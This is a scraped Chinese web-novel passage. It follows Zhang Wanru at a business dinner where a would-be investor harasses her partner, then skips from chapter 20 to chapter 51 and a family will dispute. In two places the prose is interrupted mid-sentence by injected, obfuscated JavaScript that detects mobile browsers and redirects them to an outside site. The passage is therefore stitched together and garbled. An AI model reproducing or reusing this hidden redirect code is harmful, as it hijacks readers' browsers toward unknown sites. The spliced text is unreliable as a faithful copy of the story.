张婉如也不明白为什么袁雯这么肯定那大老板一定会投资,而且他们公司连个店面都没有,自然也没有营业额,到时候人家投资肯定要看这些的,他们怎么给人看?不过这也算一次机会,去尝试一下也好。 所以为了这次饭局,两人也做了十足的准备,张婉如还专门买了个文件夹将各种资料分门别类。里面有两人各自负责的系列设计图纸,有他们个性的创意,还有公司未来的规划,虽然东西有点少,但该准备的也都准备了。 张婉如是单休,周六这天去吃饭袁雯算她是上班,周末可以给她休息。小戎的幼儿园是双休,张婉如和肖秉文都是单休,虽然在家中有赵阿姨照顾,不过肖秉文还是不太放心。以前周六会有家教来给小戎上课,现在家教被辞退了,肖秉文就给他找了一家教育机构,也是教英文的,将他送过去,下午再来接他。 周六这天张婉如带着准备好的东西怀着忐忑得心情赴宴了,去之前她有些不安,毕竟公司太小了,生怕自己资料准备得不够充分,不过到场之后张婉如才发现自己想多了。 大老板姓杨,大家叫他杨经理,杨经理是做海鲜生意的,听说公司规模做得很大。张婉如听到是做海鲜生意的心里就更忐忑了,这跟服装设计一点不搭边。见到杨经理之后心更是沉到了底,感觉她们来错了地方。 杨经理人长得有些矮胖,个头还没袁雯高,头发秃光了,露出光溜溜的鹅蛋头,说着一口不太标准的普通话。 杨经理身边跟着的人叫王哥,王哥是个中间人,联络杨经理和袁雯的,将两人介绍了一下之后那杨经理就笑呵呵冲着袁雯说道:“袁小姐真是年轻有为啊,这么年轻这么漂亮又这么能干,来这杯我敬你。” 袁雯急忙捧起酒杯,“不敢不敢,杨经理过奖了,该我敬杨经理。” 喝完酒杨经理向袁雯身后的张婉如看了一眼,袁雯急忙说道:“这位是我的搭档,姓张。她是一名非常有才华的设计师,设计的衣服那是又有个性又漂亮,简直美得像艺术品,杨经理您真该看看。” 张婉如本来想顺着袁雯的话给杨经理看看他们设计的系列,以此来打开今天的话题,那杨经理却没什么兴趣,或者说对设计的兴趣远远没有对人的兴趣大。他将张婉如上下打量了一眼,笑道:“张小姐是吧,来来来,喝杯酒。” 张婉如眉头皱了皱,她不太会喝酒。袁雯笑道:“我这搭档不会喝酒,还是我陪杨经理喝吧,我喝酒可是厉害得很,杨经理可别喝不过我啊!” 杨经理见张婉如没动,本来有些不愉快,但听袁雯这么一说就来了兴趣,“那我倒要见识见识袁小姐的酒量了。” 袁雯便又陪杨经理喝了几杯,本来一直想把话题聊到公司上面的,旁边王哥也在帮腔,不过这杨经理显然对袁雯的兴趣比对公司的兴趣更大,一个劲和袁雯喝酒。喝完之后就开始动手动脚的,倒也不明目张胆,就是故作喝酒迷糊拉一下袁雯的手,说到激动处,拍一下袁雯大腿,趁机在上面捏捏。总之就是各种小心思占便宜。 一顿饭吃得张婉如有些窒息,尤其在看到杨经理捏袁雯大腿时,震惊和一股无法名状的恶心感袭来。 她甚至都有一股子冲动,想直接拉着袁雯走,她凑近袁雯想提醒一下她,袁雯大概猜到她要说什么,小声冲她道:“没事儿。来都来了,这顿饭怎么都要吃完。” 张婉如没想到饭局居然是这种场面,她们精心准备的资料,用崭新的文件夹规整夹在一起,来时她还担心准备得不够充分,看样子根本派不上用场。 佟源记是柳城一家特色饭店,几个招牌菜在柳城都是一绝。柳城人遇上聚会聊天,宴请亲朋都喜欢选这家店。 此刻,在佟源记一楼包厢中,肖秉文正默默抽着烟,他在等人。 没一会儿有人推门进来,来人穿着警=察制服,一进来肖秉文就调侃道:“秦队下班还穿着这身警服啊,你这一路过来,没把人给吓着?” “咱可是人民的公仆,为人民服务的,人民看着只觉得亲切,怎么会吓着?” 肖秉文笑了一声,将烟头摁灭。 秦良川在座位上坐下,问道:“肝腰合炒点了吗?” “点了。” “那就行。”肝腰合炒是佟源记的招牌菜,他们每次来必点。 两人是从小一块儿长大的,按照老一辈的俗话来说就是好到能穿一条开裆裤。肖秉文当年入伍的时候秦良川也跟着他一起去了,退伍之后肖秉文回家做生意,而秦良川则被分配到了柳城派出所,后来又去刑警队做了刑警。因为立了几次功,如今年纪轻轻就已经做了刑警队的队长。 长大了,各自的生活轨迹也不一样,见面的次数少,不过两人还是时不时聚一下聊一下最近的生活。 最近能聊的就是肖秉文孩子他妈回来这事儿,秦良川便问了一嘴。肖秉文对此也没什么好说的,他跟张婉如本来也不是那种关系,就随便回了一下。 随后又聊到当兵的事儿,两人的青葱岁月都是在军营度过的,有血有泪却丰富多彩,虽然军营里每一天都不好过,但离开后反而时时怀念。 一说到当兵自然说到当兵时的战友,而跟两人关系最好的战友叫周鹏,不过几人一起出任务时,周鹏不幸牺牲,关键还是为了掩护队友牺牲的,而最关键的那个人就是肖秉文。所以周鹏对于肖秉文来说不仅有战友之情,更有救命之恩。 一聊到周鹏两人总忍不住叹息,而聊到周鹏肖秉文自然就会想到那个人,周鹏的哥哥。 “周福有下落了吗?”肖秉文问道。 “没。”秦良川还是那一句。 周福是周鹏的亲哥哥,当年周鹏牺牲之后,周福来带走弟弟的遗体时肖秉文和秦良川也因此认识了他。 后来肖秉文退伍回来做起了生意,周福找上他希望他能给安排个事做。周鹏对肖秉文有恩,又是出生入死的战友,肖秉文对他哥自然就跟自己亲哥一样。因为周福身体不太好,重活做不了,肖秉文就让他当了自己的司机。 而肖秉文不知道的是,周福和周鹏完全是不同的两个人,周鹏重情重义,周福却是个卑鄙无耻的小人。 肖秉文当年被绑架就是他一手策划的。 肖秉文参过军,拿过枪,身体素质过硬,普通人要绑架他就不是件容易的事,但是信任的人就不一样了。那天他接过周福递过来的茶,再醒来时人就已经被铁链子绑在了一间废弃仓库中。 身上的衣服被扒光了,而周福正拿着相机对他拍照。肖秉文不清楚周福绑架他的目的,他好像不是为了财,就纯粹想侮辱他折磨他,让曾经骄傲的肖秉文像一头牲口一样被拴着,供他参观,甚至试图让他为他表演。 肖秉文第一次被人这般折辱,却也没低头,而周福就给他喂药,肖秉文被铁链锁住了手脚动惮不得,也只能由着他。 再后来肖秉文醒来时发现身边多了一个人,她也被扒光了衣服,像牲口一样被丢在他身边,肖秉文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15153960|164658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认出了她,她是张婉如。 后来两人逃出来,周福失踪,当年经手他案件的老警察已经退休了,如今秦良川接手了继续查。 秦良川这些年一直在找周福的下落,但始终没找到。肖秉文一直觉得周福背后有帮手,他弄的那些药,他手上拿的价值不菲的相机,如果没有人帮他,他根本买不起。但是只有找到周福这件事才能水落石出,可找了这么多年也没找到。 不过这个话题并没有持续多久,两人也不想被影响了心情,便聊起别的。 那杨经理跟袁雯喝了一会儿酒,目光又向张婉如看过来,随即冲她招招手,“张小姐也过来喝一杯。” 喝了酒,那杨经理看人的目光就更不藏着掖着了,张婉如看得直恶心,还没来得及拒绝,袁雯冲杨经理道:“她哪会喝什么酒啊,还是我陪杨经理喝。” “那可不一样啊,各喝各的,张小姐,你不会不给我面子吧?” 这话落下,氛围就不太好了,袁雯要劝,那杨经理直接将杯子冲张婉如递过去,“张小姐,喝吗?” 同行的王哥也劝,不过杨经理不为所动,那杯子依旧递过来,铁了心要张婉如喝的。 张婉如肯定是不想喝的,甚至想马上从这里离开,可如果这样做袁雯今晚的牺牲就白费了。 她妥协叹了口气,正要站起身接过,旁边袁雯却啪一声一拍桌子站起来,直接冲那杨经理吼道:“妈的,你算什么狗东西啊?凭什么你要谁陪你喝酒谁就得陪你喝酒啊?我他妈陪你演了这么一场戏已经够恶心的了!真把自己当根葱是吧?我他妈已经忍你很久了,你个死秃头!” 说完端起桌上酒杯,刷一下整杯酒直接泼在那光溜溜的卤蛋头上,所有人都被这一幕给震惊到了,那杨经理更是愣在当场,连张婉如也是懵的。 手上突然一暖,是袁雯握住她的手,张婉如还未反应过来,袁雯已经拉着她出了房间。身后杨经理后知后觉,顿时气得骂道:“婊子!妈的臭婊子!” 他追出来,冲着门口两个保镖说道:“给我拦着这两个臭婊子,她们今天要是能好好出这个门,我他妈就不姓杨!” 果然袁雯和张婉如一走出门,两个壮汉就拦了上来,外面吃饭的人看到这一幕也纷纷出来看,老板见事情不对,赶紧过来做和事老。 不过被泼了酒还被骂了一顿的杨经理怎么那么容易就善罢甘休。 “今天这顿饭是两个婊子请的,妈的请老子来吃饭还敢泼老子的酒,今天不把话给我说清楚,谁都别想走。” 张婉如和袁雯对视一眼,袁雯耸耸肩,一脸无所谓,“酒是我泼的,人也是我骂的,你先走,这事儿我负责。” “不行!”张婉如握住她的手,“要走一起走,要不走大家都不走。” 袁雯望着眼前的人,顿觉诧异。张婉如给她的感觉,就是那种柔柔弱弱需要保护的小姑娘,长得也是温温婉婉,总感觉跟她说话大声了她都会哭出来,所以当她知道这杨经理目的不纯之后下意识就想保护她。 她是怎么都没想到这个看似柔弱的小姑娘遇事竟一点都不退缩。柳条一样柔软的身体里居然能迸发出如此惊人的力量,袁雯着实没想到。 袁雯被她感染,拍了下胸口,说道:“行,一条命在这里,大不了弄死我。” 外面动静这么大,包厢里的人自然也被惊动了,秦良川是刑警,听到外面闹起来自然要出来看一眼,肖秉文也跟着他一块儿出来。 秦良川看到那被围着的几人,总感觉其中有个女孩看着有些眼熟。他跟肖秉文关系好,自然也是知道张婉如这个人的,她是肖秉文唯一承认过的女朋友,当年张婉如的行踪还是秦良川帮她找的。 再多看几眼他便认了出来,可不就是张婉如吗?肖秉文儿子他妈! 这会儿看到张婉如跟人起了争执,秦良川目光带着几分意味深长向肖秉文看去,问道:“那不是小戎他妈么?” 肖秉文也没想到会在这里看到张婉如。 秦良川轻咳一声,“来事儿了,我得过去看看,你呢?要管吗?” 肖秉文忽视朋友那调侃的视线,一脸理所当然说道:“我孩子妈的事儿,当然得管。” 20. 第 20 章 “怎么回事儿啊?”秦良川走上前沉声说了一句。刑警队队长的气场一出,再加上还穿着制服,在场吵闹的人瞬间安静下来。 张婉如听到声音向来人看去,见他有些面熟,不过一时间没想起来,视线顺着来人身后瞟过去,一眼就看到了跟过来的肖秉文。 杨经理做生意认识的人自然也不少,很多部门都会打一下交道,作为刑警队长的秦良川他自然也认识。他也没想到在这儿遇到刑警队长,顿觉有些晦气,不过面上却笑道:“秦队长,在这儿吃饭还是出任务啊?” 秦良川道:“来吃个饭,不过也可以顺道出下任务。”目光在在场几人面上扫过,他问道:“怎么回事儿?” 其他人还未开口,那杨经理就说道:“这秦队长可是我老熟人了,你们想好了再说话,不能隐瞒,也不能胡说八道。” 故意扯他和秦队长是老熟人,话里话外都有威胁警告的意思。 张婉如没想到会在这里遇到肖秉文,而且还是在这种场合下,她有点尴尬。袁雯下意识看了张婉如一眼,见她低着头,一双手还局促不安交握在一起,给人一种小孩犯了错的感觉。袁雯有些不解,刚刚还梗着脖子要命一条的人怎么腌巴了?这刑警队的一来就把她给吓到了? 袁雯失笑,果然还是个小姑娘呢。她也没想那么多,也没怯场,冲那刑警队队长说道:“我们好心请这个人吃饭,想谈谈生意上的事情,谁知道这个老色鬼在饭桌上对我们动手动脚的不干净,我就泼了他一脸酒,带着我的同伴准备离开,他非不依不饶,就成这样了。” 动手动脚?秦良川在张婉如身上看了一眼,又看向跟过来的肖秉文。肖秉文眉头也有些沉,目光落在张婉如身上,他淡声道:“你怎么在这儿?” 张婉如尴尬得恨不得找个地洞钻进去,她要出来吃饭的事儿提前跟肖秉文打过招呼,她说的是老板带着她出去谈谈事,听上去挺高级的,没想到饭局却这么低级,遇到个猥琐男,谈事谈成这样了。 不过这事儿本来也不怪张婉如,她抬头对上肖秉文的目光,故作自然说道:“我们吃饭就在这儿吃的,没想到会在这里碰到,好巧。” 跟在秦队身边这男人个头挺高,模样也生得周正,袁雯见张婉如跟他说上话,便问张婉如:“你们认识?” “嗯。”张婉如低声应了一句。 肖家是植根于柳城的大家族,肖家的酱油在柳城无人不知无人不晓,作为肖家人的肖秉文自然也被人熟知。更何况肖秉文自己还有工厂,他手上的和盛味业在柳城也算得上是有名号的企业了。 杨经理很快认出了肖秉文,当即堆了笑脸打招呼,“肖总,没想到在这儿遇见你,还真是有缘。”杨经理凑上去大方伸出手,肖秉文冷冷看了一眼没跟他握,杨经理有些尴尬,悻悻收回手来,目光忐忑向张婉如的方向看了一眼,依旧堆着笑脸问:“这位肖总认识啊?” 肖秉文没回答,是秦良川替他答的,“这是肖总孩子他妈妈。” 杨经理当即抽了一口凉气,肖秉文是柳城出了名的黄金单身汉,不过跟别的单身汉不同,他没结婚但有个儿子,只是没人知道这儿子的母亲是谁。 杨经理真是没想到,竟让他误打误撞将肖秉文孩子的妈给撞上了,这对他来说可不是一件好事。 “刚这位女士说她们好心请你吃饭,你还对人动手动脚,是不是真的?” 听到秦良川这话杨经理急忙回过神来,他跟秦良川认识但没啥交情,本来就想拿认识刑警队长这事儿压一下这两个不知死活的女孩儿,没想这两个女孩里突然冒出个肖秉文儿子他妈,这肖秉文和秦良川的交情可不是他能比的。 杨经理表情有些僵硬却还维持着笑意,他道:“没那回事,饭桌上大家开开玩笑也正常,没那么严重。” “怎么不严重啊!?”袁雯急忙反驳,在她听到张婉如是这位肖总孩子的妈时挺震惊的,虽然没搞清楚到底怎么回事,不过张婉如目前的身份明显对她们有利,所以她又接着道:“他还想让我们张婉如陪他喝酒呢!我不同意泼了他一杯酒拉着张婉如出来,他还不罢休,让人堵着我们不让我们走!” “陪酒?”肖秉文语气有些沉,简单两个字一出口就莫名给人一种压迫感。 杨经理的脸色就更不好了,说话都结巴起来,“没……没有的事儿,我开个玩笑而已,大家出来一起吃饭嘛,有时候开开玩笑也挺正常的。不让她们走更是没有的事儿,大家都是认识的朋友,我不可能这么不留情面啊,就是跟姑娘们开个玩笑而已。” “怎么没有啊?你刚刚不还叫嚣着,我们不跟你道歉今天别想走吗?一转眼又是开玩笑的?”袁雯声音挺大,呛得杨经理半天憋不出一句反驳的话,刚刚的嚣张劲是一点都没有了。 秦良川说道:“我是刑警,民事纠纷不归我管,你们这事儿我也处理不了。不过我派出所有认识的朋友,我可以打电话让他们来处理。” 杨经理一听这话那还得了,他本来就是做生意的,眼下的情况明显对他不利,搞不好还弄个拘留什么的,这要有了黑底他以后还怎么做生意。 杨经理急忙赔笑道:“没,没那么严重的,可能是我玩笑没把握好分寸,让两个姑娘误会了。这样吧,我过两天备两份厚礼给两位女士赔礼道个歉,二位觉得如何?” 杨经理舔着个笑脸,那卤蛋头蹭亮蹭亮的,袁雯看了张婉如一眼,张婉如道:“你决定吧。” 今天受委屈最多的就是她了。 袁雯其实挺想让老色鬼吃吃瘪的,不过她也是个做生意的人,不能太得罪人。所谓做人留一线,真把这姓杨的逼急了,谁知道他会做什么。 袁雯想了想说道:“那杨经理的礼物可要仔细着挑啊,我可是出过国的,什么样的好东西没见过,你要送得不和我心意,我是不会要的。” 听到这话杨经理面容放松了一些,他道:“这是当然,这是当然。” 秦良川问道:“确定不用叫民警过来?” 袁雯看了又紧张起来的杨经理,觉得挺可笑,故意沉默了一会儿,直到那杨经理目光都带着恳求,她才说道:“算了,也没多大的事儿,我还等着杨经理的赔礼呢。” 杨经理松了一口气,“放心放心,过两天一定送到。” 秦良川正要开口,肖秉文却先他一步问道,“你呢?你什么意见?” 这话是对张婉如问的,这话落下,氛围又变得凝重起来,杨经理刚放松下来的神经立刻绷紧,那看张婉如的眼神就只差把姑奶奶喊出口了。 张婉如道:“我听她的。” 肖秉文便没再说什么,他问她:“要回去吗?” “嗯。”张婉如应了一声,冲袁雯道:“你怎么回去?” “我喝了酒开不了车,打车回去呗。”她目光意味深长在两人身上来回看,不过现在人多也不方便八卦,她挥挥手,“那下周见。” 一行人从饭店出来,肖秉文也跟秦良川告别,在告别前跟张婉如简单介绍了一下,“这位是秦良川,我战友,也是发小。” 张婉如目光在秦良川脸上看了片刻,总感觉他有点面熟,不过她没多问,跟人道了声好。 几人告别之后肖秉文将车子开过来,张婉如上了车,这才想起来她在哪里见过秦良川了。就当年她离开肖家去了良安县,在良安县出租屋里因为没钱差点饿死时有人给她送了个信封过来。当时她以为他是邮差,只是觉得他身上的气质跟普通人不太一样她就多看了两眼,这才记住了他的长相。 张婉如想到这里,她问肖秉文:“当年帮你送钱给我的就是秦良川?” “你认出来了?” “嗯。” 不过她没想到的是,堂堂刑警队长竟然给肖秉文当邮差? “你们为什么会跟杨卫国吃饭?”肖秉文问道。 “我们公司资金紧缺,袁雯想拉投资,中间人帮她联系了杨卫国。” 张婉如没细说,但肖秉文也明白过来是怎么回事了。 “拉投资?他做海产的,对服装感兴趣?” “……” 张婉如也不知道该怎么解释了,如今回看才发现她们的想法挺幼稚的。身处自己的行业,总觉得自己弄出来的东西很有意思,便以为能说动别人也觉得有意思。 而且两人都把事情想得太简单了,虽然想过拉投资并不是一件容易的事情,来之前她还担心准备得不够,到了之后才发现这种不容易表现得更复杂。 她不愿意多说肖秉文也就没多问,不过他却想着,拉投资这事儿,她既然都能想到完全不相干的海产行业的老板,怎么就没想过他?他这身价可比杨卫国高多了,她们公司没钱她本可以向他提的。 转念又想,在张婉如看来,他们恐怕还没熟到那种地步,更不会因着这层关系就来找他。再想着几年前他给她的那笔钱她也连本带利还给他。 呵,跟他生疏着呢! 张婉如单休,本来周末要休息的,袁雯打来电话联系她去一趟公司,张婉如之前留过联系方式,留的就是家里的座机号。 刚走进公司就看到那拼着的几个大方桌上放着几个礼品盒子。 袁雯冲她道:“这杨卫国动作倒是快,赔礼已经送过来了,你看看喜欢吗?” 四个礼品盒,两个盒子里面装着国外进口的成套高档护肤品外加一瓶香水,另两个盒子里装着两条珍珠项链。 这礼物对女孩来说确实是送到心坎上的,这杨卫国还挺会送礼,而且还是费了些手笔的。 “还算有诚意吧。”袁雯说完,意味深长的目光落在张婉如身上,她道:“说起来,当时杨卫国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15154225|164658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那嚣张的样子,不把我们扒层皮下来是不罢休的,能低头给我们送礼还是看在你份上。” “这话可别乱说,我没那么大面子。” 袁雯撑着下巴,将她上下打量了一眼,“真看不出来你已经结婚有孩子了。不过话说回来,你老公家庭条件那么好,什么好工作不能帮你找,你怎么还愿意到我这小作坊?” 张婉如想说她确实有个孩子但还没结婚,不过转念一想,这事儿也没什么好解释的,说起来就话长了,她便也懒得解释,只道:“我跟肖秉文的关系不是你想的那样。” “不是那样是哪样?你俩不是有孩子了吗?” 张婉如一时间也不知道该怎么说了,袁雯倒是也没多问。 张婉如叹了口气,“拉投资这事儿怕是要黄了,经过这事儿我也发现了是我们把事情想得太单纯了。” 袁雯也叹了口气说道:“我也没想到事情会变成这样,本来做好了准备,是要正经去谈工作的,谁知道这饭局上男人一看到女人想的便尽是□□子那点事。我也不明白了,大家好好聊一下工作不行吗?能赚钱就投不能赚钱就撤,为啥非得做一些低级下流的事情?要遇上男的跟男的谈工作,还会这么猥琐下流吗?是不是就得正经谈工作了?为什么遇上女的,就没法好好谈呢?” 张婉如道:“要是对方老板是个女的,应该也不会想着那档子事,自然也能好好谈。” “那肯定啊,只可惜,女老板太少了。” “确实是少,不过……”张婉如在她身上打量了一眼,说道:“你不就是吗?” 袁雯笑得一脸舒心,“这话我喜欢!放心吧,我未来要是成了拥有话语权的老板,定好好整顿一下这种风气,我看谁还敢对我动手动脚。” 张婉如点头,“拭目以待。” “不过话说回来,早知道你有这么好的资源,我怎么还会让人帮我牵上杨卫国这种下流猥琐男啊。” “资源?” “肖秉文啊!他不是你老公吗?” “他不是我老公,我们只是有个孩子,我和他的关系并不是你想的那样。” “啊?”袁雯听到这话还挺震惊,“你们没结婚,但有个孩子?” “嗯。” 在这个年代这种事情确实有点离经叛道了,袁雯道:“你们昨天是一起走的?所以你们住一起?” “是住一起,共同抚养孩子。” “……” 袁雯就更奇怪了,没结婚有孩子,听她的语气好像关系并不亲密,但又住一起。也难怪了,傍上肖秉文这课大树竟然还到她这小作坊上班,看样子里面的关系很复杂。 “要不你试试看?” “试试看?”张婉如不解,“试什么?” “找肖秉文拉投资啊,肖秉文可不是杨卫国这种级别可以比的。听说肖家很有钱,他自己办的厂也很赚钱。” 肖家有钱,肖秉文自己也能赚钱,这点张婉如知道,但她从未想过要去找肖秉文拉投资。她跟肖秉文虽然在同一个屋檐下,有共同的孩子,但她对他的态度比对其他人还要客气一点。因为曾经的事情,两人都保持着适当的距离感,这个距离感都得在一个让大家舒服的范围之内,她觉得肖秉文应该跟她的想法差不多。 所以当时袁雯说到拉投资的事情,她压根就没想过找肖秉文,她不想去打破这种距离感。 “我去找他,他也不一定投啊。”张婉如道。 “你都没找过你怎么知道?你去试试呗,看看他感不感兴趣?你想想我俩未来的规划,想想我们要打造亚洲的香奶奶。我们公司要是能起来,你作为元老之一,未来也是个大富婆了。” 什么亚洲香奶奶,什么大富婆,其实张婉如倒没想那么多。虽然跟袁雯一起工作的时间不长,但两人的工作氛围挺放松挺自由的,是工厂那种焦虑机械的工作没法比的,她很喜欢。自然也对的公司充满了期待,希望能发展得更好。 之前从未想过肖秉文,但袁雯这一说,她竟然打算尝试一下。投资不好拉,而且找的投资对象不一定靠谱,万一又找个杨卫国这样的?肖秉文好歹人品还过得去。 但要借着这一层便利的关系跟肖秉文谈这事儿她又觉得怪怪的。 今天周末肖秉文也不去公司,张婉如回来之后做了一下心理准备,抱着整理好的资料出现在肖秉文的书房门口。犹豫了一会儿才轻轻在门上敲了敲,里面很快传来肖秉文的声音。 “进来。” 张婉如怀中抱着个文件夹,肖秉文停下写字的动作,将钢笔笔帽盖上,问她:“有事?” “你……”张婉如酝酿了一下,“你对服装感兴趣吗?” 肖秉文大概猜到了她来的目的,他靠坐在椅背上,目光多了几分兴味。 嗯,终于想到他了。 50-60 第51章 第51章疼你 肖二姑一张脸白成一片,那份已经被她烧掉的遗嘱怎么又出现了?还有那枚他们一直没找到的印章,为什么被藏在那暗格中,连她都不知道,肖秉文却知道。 肖家大伯的面色并没有比肖二姑好多少,不过好歹是从政的人,整个人倒显得稳重一些。 许叔将信纸读完,肖秉文说道:“许叔你觉得这两份遗嘱,哪份更具真实性?” 许叔脑门子已经出了一层汗,他只是来做个见证的,没想到却见证了肖家的隐秘。他是真怕牵连其中,他用手背擦了擦汗说道:“这份遗嘱盖了老爷子的印章,相比较另一份,自然是更具法律效应。” “也就是说老爷子真正的遗嘱是这一份对吧?” “这个……”许叔这话不敢说,肖家这些人他一个都不想得罪。 肖秉文倒也没逼问,他看向肖家大伯和肖二姑,说道:“大伯二姑,你们也听到了,对于老爷子的遗嘱,你们有什么意见吗?” 两人的面色都挺复杂的,肖秉文并没有明确点出他们伪造遗嘱,但他将这份盖了印章的遗嘱拿出来,就着实打他们的脸了,这一看还有什么不明白的。 梁建英自然也知道兄妹两伪造遗嘱的事情,为什么伪造,那当然是老爷子太偏心了。梁建英也没想到老爷子的遗嘱竟然还留了一份。 她第一个不服,站起身说道:“凭什么要依着这份遗嘱?老爷子把肖记都给了你了,荣誉街那些商铺凭什么给你?还有这老宅,你自己那么多房产,老爷子还要把他们生前住过的宅子给你,这对我们公平吗?” 肖秉文在座位上坐下,对上梁建英愤怒又理所当然的样子,只淡淡说了一句:“大伯母不是说过吗?要尊重老爷子的遗愿,老爷子说怎么分就怎么分。” “你……”梁建英被堵了一下,方才她确实说过这话。 “老爷子要立什么样的遗书他早就告诉过我了,我也觉得老爷子立的遗书有些偏颇,所以你们另拿了一份遗书出来我也没什么好说的。但我也就只想要回那间我们一家三口曾住过的小院而已,可你们不愿意,既然不愿意,那我拿出这份真正的遗嘱为自己争取一下也没什么吧?” “秉文。”肖家大伯沉了声音打断了他的话,“你这份遗嘱是怎么来的?还有这印章,为什么你知道他们放在这里?” 肖家大伯身上有从政之人的威严,面对肖家大伯以长辈身份施压,肖秉文面色却未变动半分,从容应道:“是爷爷告诉我的,以备不时之需。大伯是在怀疑什么吗?” 很轻巧的反问,眸中却带了几分冰冷犀利看过来。肖家大伯眉心 一沉,肖老爷子还在时,肖秉文面对他,是作为晚辈的毕恭毕敬,他从未想过这小子有一天会拿这种眼神看他。 竟明目张胆带了几分威胁。 肖老爷子现在不在了,肖秉文这眼神很明确,他可以将他当成长辈,也可以不。 肖家大伯沉着脸,一时没说话,梁建英没看出肖秉文眼底的威胁,自顾自反唇相讥道:“究竟是爷爷告诉你的,还是你自己伪造的,谁知道呢?” 肖秉文听到这话没生气,反而笑了笑,他慢条斯理喝了一口茶,说道:“伪造,这里有两份遗嘱,我们倒是可以上正规的鉴定机构来鉴定一下究竟哪份才是伪造。要是调查出了是有人伪造遗嘱,按照法律规定,伪造遗嘱虽不是犯罪,但会丧失继承权。所以,需要我找人来鉴定一下吗?” 梁建英听到这话,仿若被人打了一闷棍,身体僵直着一屁股坐在椅子上。目前他们所住的房子还在老爷子名下呢,若没了继承权,恐怕他们现在住的房子也要失去了。 “大伯,二姑,你们还有异议吗?”肖秉文又问道。 问话的语气从容自然,有一种将事态完全掌控的笃定。 虽然再不甘心,但他们也清楚,老爷子这遗嘱一出,他们再争辩已经没有意义,更何况肖秉文方才威胁的话并不是在跟他们开玩笑。 肖家大伯和肖家二姑还敢说什么呢,肖秉文虽没有明说,但表达得已经够清楚了。如果他们安分一点,他可以不追究他们伪造遗嘱,但如果要闹得大家撕破脸,那他也不介意走司法程序。伪造遗嘱两兄妹都有份,他们觉得老太爷的遗嘱不公平,可要是丧失了继承权,那就真什么都得不到了。 肖秉文没有点破,也算是在变相给他们脸了。肖二姑最先妥协,她闭了闭眼调整呼吸,说道:“我没什么异议。” 肖秉文又看向肖家大伯,肖家大伯道:“我也没什么异议,老爷子立什么就是什么。” “既然如此。”肖秉文站起身,“之后的事情还麻烦许叔帮忙处理了。” “没有。”许叔表示,紧张得说话都结巴了,“不麻烦不麻烦的。” 从老宅出来坐上车,肖秉文这几天忙得团团转,都是司机开的车。此刻坐在后座上,整个人深深陷进座椅,头靠在座椅上揉了揉眉心,看上去有些疲惫。 张婉如是真没想到事情是这个走向,这跟她梦中那本小说的剧情完全不一样了。在梦中那本小说里,老爷子藏起来的那份遗嘱要在十年后,因为国家将肖家老宅当做文物收回修缮才被人发现。 可是按照眼下发生的事情来看,肖秉文是一早就知道肖老爷子藏着的这份遗嘱的。可为什么在梦中那本小说里,肖秉文明知道他们伪造了遗嘱却不揭穿,直到十年之后真正的那份遗嘱被发现,他才去找他们算账的呢? 难道肖秉文是真觉得老爷子立下的那份遗嘱不公平所以由着他们伪造吗?可为什么又要在十年后真正遗嘱被发现时他选择顺水推舟,将当年应该分给他的商铺和地皮全部拿回来? 张婉如突然想起来,梦中那本小说里,在未来,尤其是十年之后,房地产会迎来最辉煌的时刻,地皮会变得非常值钱。 那么有没有可能,十年之后,那份被藏起来的遗嘱是肖秉文故意让它出现的呢?那本小说虽然对肖秉文描写很少,但是他作为反派的最强背景,对他也有些交待,肖家父子的商业帝国确实涉猎了房地产。 那么肖秉文在那本小说中究竟扮演着什么样的角色呢?就目前来看肖秉文为人正直,人品是不错的。可若是他明知肖二姑和肖大伯伪造遗嘱却不揭穿,直到十年之后地皮有了它的价值他才拿回来,这一看他似乎又有着商人的精明和算计。而作为反派的父亲存在,那么他在小说中的人物设定是不是也带着一定的反派性质? “你觉得爷爷立的遗嘱公平吗?” 肖秉文的声音打断了张婉如的思绪,张婉如想了想说道:“站在肖二姑和肖大伯的立场来看,好像确实不太公平。不过呢,站在老爷子的立场,这些财产都是他打拼一辈子所得,他想给谁就给谁,全看他个人意愿。” 肖秉文笑了笑,“本来我想睁一只眼闭一只眼的,我也懒得去挣什么。我只想要回那间小院,可他们太贪心了。” 是呢,这就是跟梦中那本小说不同的地方,那本小说中张婉如离开之后便没有再回来过。而现在她回来了,她还跟肖秉文还有小戎在那间小院住过,所以肖秉文才想将小院夺回来。这才导致目前发生的事情跟梦中那本小说的走向不一样。 只是肖秉文所说的懒得去挣,真的懒得去挣吗?若是利益足够大呢?若是那些地皮商铺比他想象得更值钱呢? 不过张婉如不想去深究,没必要太在意肖秉文究竟是好人还是坏人,本来人性就是复杂的。 张婉如握住他的手,此刻她只是他的妻子,只需要在他疲惫的时候给他安慰就好。而值得高兴的一点就是,因为她回来,确实改变了那本小说的走向。是不是也就意味着,他能阻止小戎黑化成为反派,也能阻止父子两的悲剧。 肖楚戎这几天心情都是闷闷的,家里出了这么大的变故,太祖祖和太祖奶奶相继去世。爸爸和妈妈也忙得没时间管他,家里沉浸在一中悲伤压抑的氛围中,而他的心情也不会太好。 “我们去踢球啊。”白子浩央求道。 “不去。” “那去买点小零食?” “不想吃。” “你陪我去啊,我想吃。” “不去。” 白子浩有些头疼,“肖哥你最近怎么了?你不能这个样子啊,老师说我们是祖国的花朵要朝气蓬勃。” 